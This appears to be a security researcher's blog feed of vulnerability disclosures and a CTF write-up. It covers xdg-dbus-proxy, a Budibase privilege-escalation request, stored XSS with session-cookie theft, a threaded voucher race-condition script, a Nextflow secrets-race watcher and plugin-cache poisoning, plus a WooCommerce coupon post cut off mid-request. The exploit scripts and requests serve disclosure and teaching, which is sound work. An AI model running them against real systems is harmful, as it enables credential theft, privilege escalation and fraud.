[https://lwn.net/Articles/569635/](https://lwn.net/Articles/569635/) * [https://www.kernel.org/doc/Documentation/x86/x86_64/mm.txt](https://www.kernel.org/doc/Documentation/x86/x86_64/mm.txt)

dbus broadcast snooping through xdg-dbus-proxy

b4r — Sun, 20 Sep 2026 00:00:00 GMT

## TL;DR A filtering regression in `xdg-dbus-proxy` let a sandboxed Flatpak app listen in on D-Bus broadcast signals it had no permission to receive. - `CVE-2026-93676` (Low, CVSS 3.2) - Affected versions 0.1.6 and 0.1.7, fixed in 0.1.8 - The entire bug is one commit that dropped the path/interface/member checks - Reported by me, credited on the advisory, published by the maintainer Low severity, but I like this one because the bug is a clean example of how a sandbox proxy fails: the gate is there, it just stops checking tickets. ## Background Flatpak sandboxes apps by cutting them off from the host D-Bus session bus. `xdg-dbus-proxy` is the doorman: it sits between the sandboxed app and the real bus and only forwards messages the app is allowed to see, based on `--talk`, `--broadcast`, and `--call` rules. Broadcast signals are the interesting case. Unlike method calls (point to point), broadcasts go to everyone listening, so the proxy has to filter them by matching each signal against the allowed rules: the right **path**, the right **interface**, the right **member**. Skip any of those checks and the app hears things it shouldn't. ## The bug Commit `0297845` changed the broadcast filtering path and dropped exactly those checks. From the advisory: filtering for broadcast messages bypassed path/interface/member validation, so any version carrying that commit (0.1.6, 0.1.7, plus backports) forwarded broadcast signals without verifying the app was actually allowed to receive them. Concretely: a malicious or merely compromised Flatpak app could monitor **any** broadcast signal on the session bus or the AT-SPI (accessibility) bus: traffic from other apps, potentially containing information never meant for it. Same story for any non-Flatpak framework using `xdg-dbus-proxy ... --broadcast=…` or `--call=…`. The attacker model is narrow (local, low-privileged, needs a cooperative user interaction, confidentiality-only impact), hence Low, CVSS `AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:N/A:N`. Fair rating. Sandbox escapes that only leak broadcasts are the shallow end of the pool, but the pool is still the sandbox boundary, so it still counts. ## The fix (and why it wasn't a one-liner) The fix is a revert of `0297845`, shipped in 0.1.8. But reverting broke something real, which is the most instructive part of this advisory. Flatpak 1.15.9+ tried to let sandboxed apps receive two broadcast signals on the AT-SPI bus for accessibility, but the `--broadcast` rules Flatpak passed to the proxy were themselves incorrect. So the vulnerability had been accidentally papering over a Flatpak bug: fixing the proxy regressed accessibility features for Flatpak apps. That companion bug was fixed separately in Flatpak 1.18.1 (`flatpak/flatpak@2afb4cf`, "run-dbus: Correct --broadcast rules for the AT-SPI bus"). Two lessons I keep relearning: 1. **A security fix that reverts to "correct" behavior can still break things**, when other components quietly depended on the broken behavior. The advisory documents three such regressions (Flatpak AT-SPI, apps relying on accidental signal delivery, other frameworks): that level of honesty in an advisory is rare and good. 2. **Allowlists rot.** The `--talk-name`/`--system-talk-name` permissions exist precisely for this; apps that need signals should declare them instead of inheriting them through a filtering hole. ## Timeline - Reported by me, credited on the advisory - **Aug 11, 2026**: Advisory published by the maintainer, fix in 0.1.8 ## References - [GHSA-r7hp-698j-2h6c](https://github.com/flatpak/xdg-dbus-proxy/security/advisories/GHSA-r7hp-698j-2h6c) - [CVE-2026-93676 (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2026-93676) - [Revert commit 0297845](https://github.com/flatpak/xdg-dbus-proxy/commit/029784535ed9cbec6c431b12ba1a9eca6c147055)

cross-app builder privilege escalation in budibase

b4r — Sun, 13 Sep 2026 00:00:00 GMT

## TL;DR Budibase before 3.41.3 let an authenticated **app-scoped builder** grant builder access to apps they don't control, through the public user create/update API. - `CVE-2026-82240` (High, CVSS 8.1, CWE-862) - A builder for App A could give themselves (or anyone) builder access to App B - The fix: validate app-scoped role assignments per target app, patched in 3.41.3 One note on attribution, because the record matters: I reported this on July 6 and I'm credited as reporter on the advisory. CVE-2026-82240 was assigned through VulnCheck's report of the same bug, published August 28, after mine. One vulnerability gets one CVE ID, so GitHub dedupes to a single number. Two independent finders, mine first. ## The bug Budibase has a concept of app-scoped builders: a user who can build App A but has no power over App B. The public API (`PUT /api/public/v1/users/:userId` and `POST /api/public/v1/users`) accepts a `builder.apps` field in the request body. The problem: the vulnerable path calls `createUpdateResponse()`, which validates **global** role updates just fine, but app-scoped role assignments like `builder.apps` never go through that validation at all. When expanded public API behavior is enabled, nothing strips or rejects the field, and the worker-side user save happily persists it. So the authorization model had a hole exactly shaped like the feature: global roles checked, app-scoped roles not. ## Attacker model - Authenticated - A builder for App A (nothing more) - Allowed to use App A's public API key - Not a global admin, not a global builder, not a builder for App B ## Proof of concept As the App A builder, update any user (including yourself) and slip in builder access for App B: ```http PUT /api/public/v1/users/{targetUserId} x-budibase-api-key: x-budibase-app-id: Cookie: Content-Type: application/json { "_id": "{targetUserId}", "email": "target@example.com", "roles": {}, "builder": { "apps": ["app_target_b"] } } ``` Response comes back with the access persisted: ```json { "builder": { "apps": ["app_target_b"] } } ``` I confirmed this end to end with a temporary Jest test against Budibase 3.39.26 (removed after validation): - Basic non-builder user sending the same request: **403** - App A builder sending it: **200**, and the target user can now perform builder-only actions against App B The negative control matters here. The same harness correctly denied a basic user, so this isn't a test setup artifact: the endpoint genuinely distinguishes "no access" from "builder access" and just never asks the second question about *which* app. ## Impact Builder access in Budibase is not a vanity role. It covers the target app's design and data plane: screens, automations, queries, datasource-backed actions. A low-privileged builder (or a compromised builder account) could silently expand into any app in the same tenant. CVSS 3.1 vector: `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N`: network-reachable, low complexity, no user interaction, high confidentiality and integrity impact. ## The fix Patched in Budibase 3.41.3. Conceptually the fix is what you'd expect: reject or strip app-scoped role fields like `builder.apps` from public user create/update requests unless the caller is allowed to assign builder access for **every** target app ID, not just the app in the request context. The broader lesson, which I keep running into across projects: when an endpoint accepts a nested object, every level of that object needs its own authorization check. Validating the top level (`roles`) while passing the nested level (`builder.apps`) straight through to the persistence layer is the same shape as half the IDORs I write about. I also suggested maintaining an explicit allowlist of user fields for the public API instead of letting role-bearing internal fields flow through to the worker-side save. ## Timeline - **Jul 6, 2026**: Opened the private advisory, credited as reporter - **Jul 22, 2026**: Accepted by the Budibase team, CVE requested - **Aug 28, 2026**: CVE-2026-82240 published (assigned via VulnCheck's independent report of the same bug, which came after mine; one bug, one ID) - **Sep 2026**: Advisory reviewed and published, fix in 3.41.3 ## References - [GHSA-468g-55qj-v8rr](https://github.com/Budibase/budibase/security/advisories/GHSA-468g-55qj-v8rr) - [CVE-2026-82240 (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2026-82240) - [VulnCheck advisory](https://www.vulncheck.com/advisories/budibase-before-3.41.3-privilege-escalation-via-user-update-api)

LKS internal selection 2026 writeup

b4r — Fri, 11 Sep 2026 00:00:00 GMT

# titippesan ## Challenge Description so di sini, peserta mendapatkan link suatu website beserta zip source nya, berikut isi dari zip source nya ![ ](./titippesanunzip-l.png) ## Analysis kerentanan nya berada pada file `src/views/admin.ejs` dan `src/views/admin-message.ejs` `admin.ejs`: ```js <%- include('partials/header', { user, title: 'Inbox admin' }) %>

Inbox

<%= unread %> pesan belum dibaca. Klik untuk membaca penuh.

<% if (messages.length === 0) { %>

Inbox kosong. Warga belum nitip pesan.

<% } else { %>

<% messages.forEach(function(m) { %> <%- m.title %> <% if (!m.is_read) { %>baru<% } %>
dari <%= m.sender %> · #<%= m.id %> <%= m.created_at %> <% }) %>

<% } %> <%- include('partials/footer') %> ``` `admin-message.ejs`: ```js <%- include('partials/header', { user, title: 'Baca pesan' }) %> ← Kembali ke inbox

<%- msg.title %>

Dari <%= msg.sender %> · <%= msg.created_at %>

<%- msg.body.replace(/\n/g, '
') %>

<%- include('partials/footer') %> ``` sekilas kedua file di atas terlihat normal, tapi perhatikan tag ejs yang dipakai untuk me-render data user: * `<%= ... %>` → output di-**escape** (aman dari xss) * `<%- ... %>` → output **mentah / tidak di-escape** judul (`<%- m.title %>`) dan isi pesan (`<%- msg.body ... %>`) dirender mentah, dan itu titik masuknya sekarang telusuri dari hulu (input) sampai hilir (bot admin) untuk memastikan alurnya bener bener nyambung ### 1. input: pesan disimpan tanpa sanitasi (`src/routes/messages.js`) ```js router.post('/message', requirelogin, (req, res) => { const title = string(req.body.title || '').trim(); const body = string(req.body.body || '').trim(); if (title.length < 3 || title.length > 120) { // ... 400 ... } if (body.length < 5 || body.length > 5000) { // ... 400 ... } const info = db.get().prepare( 'insert into messages (user_id, title, body) values (?, ?, ?)' ).run(req.user.id, title, body); // ... }); ``` validasi yang ada cuma panjang karakter, tidak ada stripping tag html, tidak ada sanitasi, dan tidak ada encode html/js apa pun yang dikirim lewat form judul pesan / isi pesan tersimpan lengkap di sqlite artinya ini **stored xss**, bukan reflected: payload mengendap di db dan dieksekusi setiap kali halaman admin dibuka ### 2. output: bukan cuma halaman admin yang rentan selain dua file admin di atas, halaman user biasa juga me-render mentah: `src/views/messages.ejs` ```ejs <%- m.title %> ``` `src/views/message-detail.ejs` ```ejs ## <%- msg.title %> ... <%- msg.body.replace(/\n/g, '
') %> ``` ini berguna untuk attacker: payload bisa dites dulu di sesi sendiri (buka `/messages/` milik sendiri, lalu lihat apakah script jalan) sebelum menunggu bot admin. sementara field yang di-escape seperti `<%= msg.sender %>` dan `<%= m.created_at %>` tidak bisa dipakai karna username dibatasi regex `^[a-z0-9_]{3,20}$` saat register, jadi tidak ada celah lewat situ ### 3. session: cookie tanpa httponly (`src/routes/auth.js`) ```js res.cookie('session', token, { httponly: false, samesite: 'lax', path: '/', maxage: 7 * 24 * 60 * 60 * 1000 }); ``` token dibuat dari `crypto.randombytes(32).tostring('hex')` 64 hex char, tidak bisa ditebak, dan sesi disimpan di tabel `sessions` lalu dicek ulang di db setiap request (`src/middleware/auth.js` → `loadsession`). jadi tidak ada jalan memalsukan session, satu-satunya cara mendapatkan sesi admin adalah mencurinya, dan `httponly: false` membuat `document.cookie` bisa dibaca oleh javascript ini kondisi yang sengaja disiapkan untuk diexploit tambahan: tidak ada middleware csp/helmet di `src/server.js`, jadi ` ``` ![](titipesanpayload.png) kirim, ![](menunggu.png) dan tunggu (karna bot visit tiap 60 detik) ![](udahdibaca.png) cek webhook ![](webhook.png) ### 3. trus ganti cookie session kita dengan yang kita dapet dari webhook (cookie session admin) ![](cookie.png) reload page, nanti akan langsung logged in as admin ![](admindashboard.png) tinggal klik flag yang ada di navbar ![](flag.png) ## Flag ``` SMKN24{jarang_jarang_ni_soal_client_side_web_di_seleksi_sekolah_hehehehe} ``` # takbiran ya balapan ## challenge description so di sini, peserta dikasih link website beserta zip source nya, berikut isi dari zip source nya ![ ](./takbiranunzip.png) isinya frontend lengkap sama backend sebagian. yang disembunyiin cuma `src/routes/redeem.js` sama `src/helpers.js`, sisanya dikasih semua. jadi buat bagian redeem harus ditemuin sendiri secara blackbox, tapi saat seleksi, gw udah kasih hint yang obvious straight to the point, yaitu `race condition` deskripsi soalnya kurang lebih gini: ``` takbiran ya balapan! panitia takbiran rt 06 bagi bagi thr voucher. - daftar langsung dapat 1000 poin. - ada voucher bocoran: takbiran2026 (+500 poin, sekali pakai). - kumpulin saldo sampai 5000 poin buat buka amplop thr sultan. katanya voucher cuma bisa dipakai sekali... tapi bedug kalau dipukul bareng bareng suaranya jadi dobel. takbiran ya balapan! http://:3000 ``` ## analysis saat dibuka link nya, begini kira kira tampilan website nya: ![](takbiran.png) terdapat fitur regis dan login, sesudah login kira kira begini tampilan nya: ![](takbirandasboard.png) dan setelah login itu, terdapat hanya 1 fitur yang benar benar nyambung ke vuln `race condition`, yaitu redeem voucher ## proof of concept gw disini ngasih 2 PoC, via automatic script dan manual via burp (sesuai hint yang gw kasih pas seleksi) ### python script ```py import sys import random import string import requests from concurrent.futures import ThreadPoolExecutor BASE = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000" VOUCHER = "TAKBIRAN2026" WORKERS = 20 def rand_user(): suffix = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8)) return f"togomigi_{suffix}" def main(): s = requests.Session() username = rand_user() password = "takbir123" r = s.post(f"{BASE}/api/register", json={"username": username, "password": password}, timeout=10) print(f"register {username}: {r.status_code} {r.text[:200]}") if r.status_code != 200: r = s.post(f"{BASE}/api/login", json={"username": username, "password": password}, timeout=10) print(f"login fallback: {r.status_code}") r = s.get(f"{BASE}/api/me", timeout=10) print(f"saldo awal: {r.text[:200]}") def redeem_one(i): try: resp = s.post(f"{BASE}/api/redeem", json={"code": VOUCHER}, timeout=15) try: j = resp.json() except Exception: j = resp.text[:200] print(f" [{i}] {resp.status_code} {j}") return resp except Exception as e: print(f" [{i}] error {e}") return None print(f"kirim {WORKERS}x POST /api/redeem secara berbarengan") with ThreadPoolExecutor(max_workers=WORKERS) as ex: list(ex.map(redeem_one, range(WORKERS))) r = s.get(f"{BASE}/api/me", timeout=10) print(f"saldo akhir: {r.text}") r = s.get(f"{BASE}/api/flag", timeout=10) print(f"flag: {r.status_code} {r.text}") try: j = r.json() if j.get("ok") and "flag" in j: print(f"\n[SUCCESS] {j['flag']}") return except Exception: pass print("\nBelum dapet flag") if __name__ == "__main__": main() ``` jadi script itu cuma ngeregis dan login random username (biar bisa dipake berkali kali solvernya) dan ngirim request post ke endpoint redeem voucher sebanyak 20 request (dengan code yang voucher yang sama) secara berbarengan (`race condition`) output: ![](scriptflagtakbiran.png) ### via burpsuite regis dan login seperti biasa, trus nyalain proxy pas mau redeem voucher buat nangkep request post nya ![](catchreqpostredeem.png) trus send to repeater ![](repeater.png) sesuain kode voucher nya dengan `TAKBIRAN2026` dan bikin duplicate request nya di repeater sampe total ada 20 request ![](copy.png) trus klik kanan pada salah satu tab request, dan klik add tab to group ![](group.png) trus pas mau send, klik panah samping kanan button send request nya, trus pilih kirim secara parallel ![](opsi.png) dan kirim ![](dashboardlagi.png) buka amplop, dan ![](flagtakbiran.png) ## flag ``` SMKN24{takbiran_yh_balapan_togomigi1337} ``` ### REV BESOK YH, CAPEKKKKKKKKKKKKK

local secrets store race in nextflow

b4r — Tue, 18 Aug 2026 00:00:00 GMT

## TL;DR I reported **GHSA-4cmm-q94h-8g5j** in **Nextflow**. This was a local credential disclosure vulnerability caused by a write-before-chmod race condition in the local secrets provider. Nextflow writes the secrets JSON file to disk before applying owner-only permissions. On systems with a permissive umask such as `022`, the file is briefly created as world-readable (`0644`) and only afterward changed to `0600`. On shared local, HPC, or CI filesystems, another local user who can traverse the `$NXF_HOME` or `NXF_SECRETS_FILE` parent directory can race-read newly stored secrets during that window. ## The bug The affected code lives in the local secrets provider module: ```text modules/nextflow/src/main/groovy/nextflow/secret/LocalSecretsProvider.groovy ``` The flow looked like this: ```text makeStoreFile() -> resolves store path from NXF_SECRETS_FILE or $NXF_HOME/secrets/store.json -> parent directories created with mkdirs() using process default permissions storeSecrets() -> serializes secrets to JSON -> Files.write(storeFile, json.getBytes('utf-8')) // file created with umask-derived permissions -> storeFile.setPermissions('rw-------') // chmod happens AFTER write ``` With a common umask of `022`, the write creates the file with `0644` permissions. Only after writing the secret content does Nextflow call `setPermissions('rw-------')` to tighten it to `0600`. That creates a race window where the file exists on disk with group/other read bits set. The parent directories are also affected. `$NXF_HOME` is created with `mkdir()` using process default permissions, so with umask `022` the directory itself is `0755` instead of `0700`. ## Why it happened The root cause is the order of operations: 1. Create the file 2. Write the secret content 3. Fix the permissions The correct order would be: 1. Create the file with restrictive permissions 2. Write the secret content Or at minimum, apply the permissions atomically as part of file creation using POSIX APIs that support mode flags. The relevant code paths called out in the advisory are: ```text modules/nextflow/src/main/groovy/nextflow/secret/LocalSecretsProvider.groovy modules/nf-commons/src/main/nextflow/Const.groovy modules/nf-commons/src/main/nextflow/extension/FilesEx.groovy ``` `FilesEx.groovy` applies POSIX permissions as a separate post-creation step, which is what opens the window. ## PoC The attacker uses a watcher script that continuously checks the file's permissions. It only captures the secret if the file has group/other read bits at the time of read. ```python #!/usr/bin/env python3 import json import stat import sys import time from pathlib import Path store = Path(sys.argv[1]) token_prefix = sys.argv[2] out = Path(sys.argv[3]) deadline = time.monotonic() + float(sys.argv[4]) attempts = 0 saw_world_readable = 0 saw_modes = {} while time.monotonic() < deadline: attempts += 1 try: st = store.stat() except FileNotFoundError: continue mode = stat.S_IMODE(st.st_mode) saw_modes[oct(mode)] = saw_modes.get(oct(mode), 0) + 1 if not (mode & 0o044): continue saw_world_readable += 1 try: data = store.read_text("utf-8", errors="replace") except OSError: continue if token_prefix in data: out.write_text(json.dumps({ "captured": True, "attempts": attempts, "mode_at_read": oct(mode), "store": str(store), "data": data, "saw_world_readable": saw_world_readable, "saw_modes": saw_modes, }, indent=2)) raise SystemExit(0) out.write_text(json.dumps({ "captured": False, "attempts": attempts, "store": str(store), "saw_world_readable": saw_world_readable, "saw_modes": saw_modes, }, indent=2)) raise SystemExit(1) ``` ### PoC 1: explicit shared NXF_SECRETS_FILE ```bash LAB=/tmp/nxf-secrets-race-lab STORE="$LAB/shared/store.json" CAPTURE="$LAB/capture.json" rm -rf "$LAB" mkdir -p "$LAB/shared" chmod 755 "$LAB" "$LAB/shared" python3 watch_secret_race.py "$STORE" SUPERSECRET_ "$CAPTURE" 180 & WATCH_PID=$! umask 022 NXF_HOME="$LAB/nxf-home" NXF_SECRETS_FILE="$STORE" \ ./nextflow secrets set API_TOKEN "SUPERSECRET_1" wait "$WATCH_PID" || true stat -c "%a %n" "$LAB" "$LAB/shared" "$STORE" cat "$CAPTURE" ``` Observed result: ```text 755 /tmp/nxf-secrets-race-lab 755 /tmp/nxf-secrets-race-lab/shared 600 /tmp/nxf-secrets-race-lab/shared/store.json ``` The watcher captured the secret while the file was still `0644`: ```json { "captured": true, "mode_at_read": "0o644", "store": "/tmp/nxf-secrets-race-lab/shared/store.json", "data": "[\n {\n \"name\": \"API_TOKEN\",\n \"value\": \"SUPERSECRET_1\"\n }\n]", "saw_world_readable": 18 } ``` ### PoC 2: default $NXF_HOME/secrets/store.json ```bash LAB=/tmp/nxf-secrets-race-default-home STORE="$LAB/nxf-home/secrets/store.json" CAPTURE="$LAB/capture.json" rm -rf "$LAB" mkdir -p "$LAB" chmod 755 "$LAB" python3 watch_secret_race.py "$STORE" HOMESECRET_ "$CAPTURE" 180 & WATCH_PID=$! umask 022 NXF_HOME="$LAB/nxf-home" \ ./nextflow secrets set API_TOKEN "HOMESECRET_1" wait "$WATCH_PID" || true stat -c "%a %n" "$LAB" "$LAB/nxf-home" "$LAB/nxf-home/secrets" "$STORE" cat "$CAPTURE" ``` Observed result: ```text 755 /tmp/nxf-secrets-race-default-home 755 /tmp/nxf-secrets-race-default-home/nxf-home 755 /tmp/nxf-secrets-race-default-home/nxf-home/secrets 600 /tmp/nxf-secrets-race-default-home/nxf-home/secrets/store.json ``` Watcher output: ```json { "captured": true, "mode_at_read": "0o644", "store": "/tmp/nxf-secrets-race-default-home/nxf-home/secrets/store.json", "data": "[\n {\n \"name\": \"API_TOKEN\",\n \"value\": \"HOMESECRET_1\"\n }\n]", "saw_world_readable": 12 } ``` ### Negative control: umask 077 With a restrictive umask, the race was not exploitable because the file and parent directories were never group/other readable: ```bash LAB=/tmp/nxf-secrets-race-umask077 STORE="$LAB/nxf-home/secrets/store.json" CAPTURE="$LAB/capture.json" rm -rf "$LAB" mkdir -p "$LAB" chmod 755 "$LAB" python3 watch_secret_race.py "$STORE" UMASKSECRET_ "$CAPTURE" 30 & WATCH_PID=$! umask 077 NXF_HOME="$LAB/nxf-home" \ ./nextflow secrets set API_TOKEN "UMASKSECRET_1" wait "$WATCH_PID" || true stat -c "%a %n" "$LAB" "$LAB/nxf-home" "$LAB/nxf-home/secrets" "$STORE" cat "$CAPTURE" ``` Observed result: ```text 755 /tmp/nxf-secrets-race-umask077 700 /tmp/nxf-secrets-race-umask077/nxf-home 700 /tmp/nxf-secrets-race-umask077/nxf-home/secrets 600 /tmp/nxf-secrets-race-umask077/nxf-home/secrets/store.json ``` ```json { "captured": false, "saw_world_readable": 0, "saw_modes": { "0o600": 513512 } } ``` The negative control matters because it confirms the vulnerability is specifically tied to the umask-dependent permission window, not a logic bug in the secrets store itself. ## Impact This is a local credential disclosure vulnerability. The attacker needs: - local or shared-filesystem access - ability to traverse the `$NXF_HOME` or `NXF_SECRETS_FILE` parent directory - a victim running with a permissive umask (e.g. `022`) The attacker does not need to control the victim's workflow code, configuration, or secret value. They only need local read access during secret creation. Secrets stored through `nextflow secrets set` may include: - API tokens for cloud providers - Service credentials used by Nextflow workflows - Container registry authentication tokens - Other sensitive configuration values On shared HPC clusters and CI environments where multiple users share a filesystem, this is a realistic attack surface. The attacker just needs a watcher process running in the background. ## The fix The fix requires creating the secrets file with restrictive permissions before writing content. Instead of: ```text 1. Files.write(storeFile, bytes) 2. storeFile.setPermissions('rw-------') ``` The correct approach is: ```text 1. Create file with mode 0600 (e.g. via OpenOption or PosixFilePermissions) 2. Write secret content ``` This eliminates the race window entirely. The file is never world-readable at any point during its lifecycle. Parent directories should also be created with restrictive permissions to prevent directory traversal in the first place. ## Versions and details - Advisory: `GHSA-4cmm-q94h-8g5j` - Package: `nextflow-io/nextflow` - CVE: `CVE-2026-73977` - Affected: `26.05.0-edge` - Patched: None yet - Severity: `Moderate` - CVSS: `CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N` - Weakness: `CWE-367 (Time-of-Check Time-of-Use Race Condition)`, `CWE-732 (Incorrect Permission Assignment for Critical Resource)` - Credit: [baradika](https://github.com/baradika) ## Reference - [GHSA-4cmm-q94h-8g5j Advisory](https://github.com/nextflow-io/nextflow/security/advisories/GHSA-4cmm-q94h-8g5j)

pinned plugin cache poisoning in nextflow

b4r — Tue, 18 Aug 2026 00:00:00 GMT

## TL;DR I reported **GHSA-654x-pf35-q3v4** in **Nextflow**. This was a pinned plugin cache poisoning vulnerability in the local plugin resolution logic. Nextflow accepts a pre-existing local cache directory for an official pinned plugin coordinate such as `nf-amazon@3.10.0` without authenticating that the cached content came from the official plugin source. In a shared-cache deployment, a lower-trust local user who can write to `NXF_PLUGINS_DIR` or shared `$NXF_HOME/plugins` can pre-populate `nf-amazon-3.10.0` with attacker-controlled PF4J plugin code. When a victim later runs a trusted workflow and requests or allowlists `nf-amazon@3.10.0`, Nextflow starts the cached plugin inside the victim's Nextflow process. This is local/shared-cache code execution as the victim Nextflow user. It is not unauthenticated RCE and not remote RCE. ## The bug The issue is not that plugins execute code. The issue is that Nextflow trusts a pre-existing cache directory for an official pinned plugin ID/version without authenticating that the cached content was downloaded from the official plugin source. The relevant code paths are: ```text modules/nf-commons/src/main/nextflow/plugin/PluginsFacade.groovy modules/nf-commons/src/main/nextflow/plugin/PluginUpdater.groovy modules/nf-commons/src/main/nextflow/plugin/HttpPluginRepository.groovy ``` The source-to-sink flow: ```text PluginsFacade.getPluginsDir() -> resolves plugin cache path from NXF_PLUGINS_DIR, $NXF_HOME/plugins, or local plugins PluginsFacade.start() -> checks whether plugin ID is allowed -> starts it PluginsFacade.isAllowed() -> checks only the plugin ID from NXF_PLUGINS_ALLOWED PluginUpdater.prefetchMetadata() -> skips metadata prefetch for pinned plugins that already exist in the cache PluginUpdater.isAlreadyInstalled() -> treats a pinned plugin as installed when pluginsStore.resolve("${ref.id}-${ref.version}") exists PluginUpdater.download0() -> returns the existing $id-$version path without downloading PluginUpdater.load0() -> loads the existing cache path with pluginManager.loadPluginFromPath(pluginPath) ``` The remote release metadata includes `sha512sum`, but the pre-existing pinned cache path does not go through that remote metadata/download verification path. That is the gap. The allowlist checks the plugin ID. The cache lookup treats an existing directory as "already installed." But nowhere does Nextflow verify that the content in that directory actually came from the official source. ## PoC The PoC was run in a local Docker two-user lab with two real Unix users: - `nxf_attacker_poc` (UID 1201), the attacker - `nxf_victim_poc` (UID 1202), the victim The trusted workflow used in the victim run is static and does not contain attacker-controlled code: ```groovy process HELLO { output: path 'out.txt' script: ''' echo hello > out.txt ''' } workflow { HELLO() } ``` The malicious cached plugin is placed at: ```text /tmp/nxf-plugin-cache-two-user-poc/shared-plugins/nf-amazon-3.10.0 ``` The victim run uses: ```bash NXF_HOME=/tmp/nxf-plugin-cache-two-user-poc/victim-home NXF_PLUGINS_DIR=/tmp/nxf-plugin-cache-two-user-poc/shared-plugins NXF_OFFLINE=true NXF_PLUGINS_ALLOWED=nf-amazon NXF_POC_MARKER=/tmp/nxf-plugin-cache-two-user-poc/plugin-started.txt nextflow -log /tmp/nxf-plugin-cache-two-user-poc/nextflow.log run \ -plugins nf-amazon@3.10.0 \ -w /tmp/nxf-plugin-cache-two-user-poc/work ``` The malicious plugin writes a marker file during plugin startup: ```text /tmp/nxf-plugin-cache-two-user-poc/plugin-started.txt ``` Observed identities: ```text attacker: uid=1201(nxf_attacker_poc) gid=1202(nxf_attacker_poc) victim: uid=1202(nxf_victim_poc) gid=1203(nxf_victim_poc) ``` Plugin cache ownership before victim execution: ```text root root 777 .../shared-plugins nxf_attacker_poc nxf_attacker_poc 755 .../shared-plugins/nf-amazon-3.10.0 ``` Victim run result: ```text VICTIM_STATUS=0 ``` Marker ownership after victim execution: ```text nxf_victim_poc nxf_victim_poc 644 .../plugin-started.txt ``` Marker content: ```text plugin-started-as-victim user=nxf_victim_poc uid=1202 cwd=/tmp/nxf-plugin-cache-two-user-poc/victim-run-dir timestamp=2026-06-30T15:33:50.992079761Z ``` Relevant Nextflow log lines: ```text Plugins resolved requirement=[nf-amazon@3.10.0] Installing plugin nf-amazon version: 3.10.0 Plugin 'nf-amazon@3.10.0' resolved Start plugin 'nf-amazon@3.10.0' ``` That proves attacker-owned cache content for an official pinned plugin ID/version was executed in the victim's Nextflow process. ## Negative controls ### 1. Allowlist mismatch ```text poisoned cache exists victim requests nf-amazon@3.10.0 victim sets NXF_PLUGINS_ALLOWED=nf-google ``` Observed: ```text ALLOWLIST_STATUS=1 ALLOWLIST_MARKER_EXISTS=no Refuse to use plugin 'nf-amazon' - allowed plugins are: nf-google ``` This confirms the issue is not an allowlist bypass. The issue is that an allowed plugin ID/version is not bound to authentic cache content. ### 2. No poisoned cache ```text empty NXF_PLUGINS_DIR NXF_OFFLINE=true victim requests nf-amazon@3.10.0 ``` Observed: ```text NO_CACHE_STATUS=1 NO_CACHE_MARKER_EXISTS=no ``` No attacker marker is created without the poisoned cache directory. ### 3. Private victim cache ```text private cache owned by nxf_victim_poc mode 0700 attacker attempts to prepopulate private-plugins/nf-amazon-3.10.0 ``` Observed: ```text PRIVATE_STATUS=1 mkdir: cannot create directory '.../private-plugins': Permission denied ``` This confirms that a victim-owned private cache is not poisonable by the lower-trust attacker user. ## Why the negative controls matter Each negative control isolates a specific part of the attack chain: - **Allowlist mismatch** proves the bug is not about bypassing `NXF_PLUGINS_ALLOWED`. The allowlist works correctly. The gap is upstream: whether the cached content is authentic. - **No poisoned cache** proves the bug requires a pre-populated directory. Without attacker write access to the cache, there is no exploitation path. - **Private victim cache** proves the vulnerability is deployment-dependent. The default private per-user cache (`$HOME/.nextflow/plugins` at `0700`) is not poisonable. The attack requires a shared, world-writable cache directory. ## Impact An attacker with write access to a shared Nextflow plugin cache can execute code as a victim user who later runs a trusted workflow and requests or allows the corresponding official pinned plugin ID/version. The attacker does not need to control: - the workflow source - the task script - the Nextflow config - secret values The attacker only needs write access to the shared plugin cache before the victim run. The plugin runs inside the victim Nextflow process and can access: - the victim's environment - local files - workflow credentials - cloud credentials - scheduler context This is most relevant to HPC, CI, or shared filesystem environments where `NXF_PLUGINS_DIR` or `$NXF_HOME/plugins` is shared across users or jobs. ## Security boundary and limitations This is not unauthenticated remote code execution. This is not remote code execution from the network. The attacker needs write access to a plugin cache directory that the victim trusts, such as a shared `NXF_PLUGINS_DIR` or shared `$NXF_HOME/plugins`. If the victim uses a private plugin cache that the attacker cannot write to, the cache poisoning step is not possible. The maintainers classified this as **Moderate** because the vulnerable configuration requires the operator to deviate from the secure default (`$HOME/.nextflow/plugins` at `0700`) and assign insecure permissions to a shared cache. The correct CWE mapping is `CWE-276` / `CWE-732` (incorrect permission assignment on the deployment) rather than an authentication or verification flaw in Nextflow itself. ## Versions and details - Advisory: `GHSA-654x-pf35-q3v4` - Package: `nextflow-io/nextflow` - CVE: `CVE-2026-71552` - Affected: `26.05.0-edge` - Patched: None yet - Severity: `Moderate` - CVSS: `CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N` - Weakness: `CWE-276 (Incorrect Default Permissions)`, `CWE-732 (Incorrect Permission Assignment for Critical Resource)` - Credit: [baradika](https://github.com/baradika) ## Reference - [GHSA-654x-pf35-q3v4 Advisory](https://github.com/nextflow-io/nextflow/security/advisories/GHSA-654x-pf35-q3v4)

i made $100 bypassing woocommerce coupon limits with draft orders

b4r — Tue, 18 Aug 2026 00:00:00 GMT

So I found a bug in WooCommerce that lets you use a coupon unlimited times, even when the store owner set a strict usage limit of 1. And yes, I got paid $100 for it. It's not a huge bounty, but the bug itself? Pretty fun. Let me break it down. ## The setup Picture this: you're a store owner. You create a coupon `LIMIT1`: fixed cart discount of $10, global usage limit of 1. Only one customer in the entire store should ever be able to use this coupon. That's a pretty standard financial control, right? Flash sale, limited-time offer, whatever. Now here's the thing. WooCommerce has this Store API feature that lets customers create "checkout-draft" orders. You add items to your cart, the system creates a draft order with a coupon applied, and you pay later. Normal flow? Perfectly fine. But what if you could create *multiple* draft orders with that same coupon before anyone else uses it? ## The idea I was poking around the Store API endpoints when I noticed something interesting. The coupon validation happens at different stages depending on *how* you're checking out: 1. **Fresh checkout** (normal cart flow): WooCommerce validates coupon constraints before payment, including the global usage limit 2. **Existing order checkout** (paying for a previously created draft): The validation path is different That distinction is where things get spicy. ## The exploit Here's the attack chain: ### Step 1: Pre-stage draft orders while the coupon is still valid As a guest user (no WordPress account needed), create three separate checkout-draft orders with `LIMIT1` applied: ```http POST 